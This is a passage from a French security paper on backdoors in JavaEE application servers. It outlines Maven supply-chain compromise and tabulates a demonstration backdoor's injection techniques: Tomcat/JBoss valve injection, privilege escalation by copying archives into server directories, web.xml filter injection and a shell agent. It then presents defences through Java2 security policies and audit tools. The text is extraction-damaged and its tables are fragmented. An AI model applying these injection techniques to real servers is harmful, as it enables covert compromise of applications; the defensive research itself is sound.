Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
